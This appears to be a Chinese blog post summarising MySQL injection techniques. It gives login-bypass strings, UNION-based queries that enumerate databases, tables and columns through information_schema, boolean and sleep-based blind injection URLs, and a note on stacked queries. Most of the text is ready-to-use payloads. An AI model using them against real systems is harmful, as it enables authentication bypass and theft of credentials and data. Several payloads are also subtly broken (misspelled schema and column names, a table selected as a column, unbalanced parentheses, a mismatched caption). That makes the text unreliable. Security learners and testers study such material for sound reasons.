mysql 多行拼接注入_MySQL注入汇总

Mysql注释符：

单行注释： # 在对URL使用过程中可能遇到Unicode编码问题，可常用%23代替

多行注释：/**/

单行注释： -- 此处需要注意后面存在空格，否则报错

0.万能密码

(基于SQL验证，SQL注入)

aaa' or 1#

aaa' or 1; -- 会导致不成功，应为注释掉了sql语句拼接的单引号，导致无法完成查询

aaa' or 1; -- aaaaa

aaa' or 1; /******

(基于%00截断绕过)

aa' or 1 %00/*

aa' or 1 %001451618646415:扰乱判定

1.UNION联合注入

前置关键词：union ;order by;limit;

union：使用时需要于前置查询结果列数相同

order by ：可用于对指定列进行排序

limit a,b：取出查询的从a开始b个的指定位置数据

前置关键函数：database(); version();user(); database():当前数据库

关键数据库：information_schema

思路：直接查询

获取union前查询语句的列数

例如：http://www.a.com/mysql.php?sql=1' order by 4 %23%23%23 通过使用order by 排序来判定列数

假设已知列数为3，可进一步使用联合查询执行关键函数

例如：http://www.a.com/mysql.php?sql=1' and 0 union select user(),version(),database()%23%23%23* 通过使用order by 排序来判定列数

查询该当前数据库test有多少表

例如：http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.TABLES,2,3 where TABLE_SCHEMA='test' limit 0,1%23%23%23* 通过使用information_schema的tables属性查询表，结合limit逐个查询

查询该当前表testTable字段信息

例如：http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.CLOUMNS,2,3 where TABLE_NAME='testTable' limit 0,1%23%23%23* 通过使用information_schema的cloumns属性查询表字段，结合limit逐个查询。

注意:TABLE_NAME='testTable' 建议将testTable的16进制写入进行替换

扩展，可以使用concat(a,'--',b)函数可以将查询到的两个结果进行拼接，一般用于账号于密码md5值对应

2.BOOL布尔注入(盲注)

前置关键函数：mid() ;ord();length();

mid(str,1,2)：字符串截取函数

ord()：转为ascii码

length()：统计长度

思路：可以进行逐个字符爆破猜解

使用and或者or进行测试

例如：http://www.a.com/mysql.php?sql=1' and 0 %23%23%23%23

猜测数据库长度是否为3

例如：http://www.a.com/mysql.php?sql=1' and (select length(database())) = 3%23%23%23%23

猜测数据库名

例如：http://www.a.com/mysql.php?sql=1' and (select ord(mid(database(),1,1)) > 97%23%23%23%23

通过截取数据库名的第一字符并转至为ascii与数字不断比较猜测

完成数据库名测试后，开始爆破表数量

例如：http://www.a.com/mysql.php?sql=1' and (select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1) = 3%23%23%23%23

完成表数量测试后，开始爆破表名

例如：http://www.a.com/mysql.php?sql=1' and mid((select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1),1,1) > 97%23%23%23%23

3.SLEEP延时注入(盲注)

前置关键函数：sleep()，if();

sleep():指定睡眠时间

if():类似于编程的三元表达式

例如猜测数据库长度

例如：http://www.a.com/mysql.php?sql=1' and sleep(if( length(database()) = 3,0,5)%23%23%23%23

后面同布尔注入思路相同，逐个猜测即可

4.堆叠注入(Stacked Injection)

前置知识：SQL语法

注意：该方法不适用于Oracle数据库

利用原理:通过;来构造执行多条语句

例如可以插入信息，当然前提知道可以插入的字段，数据表等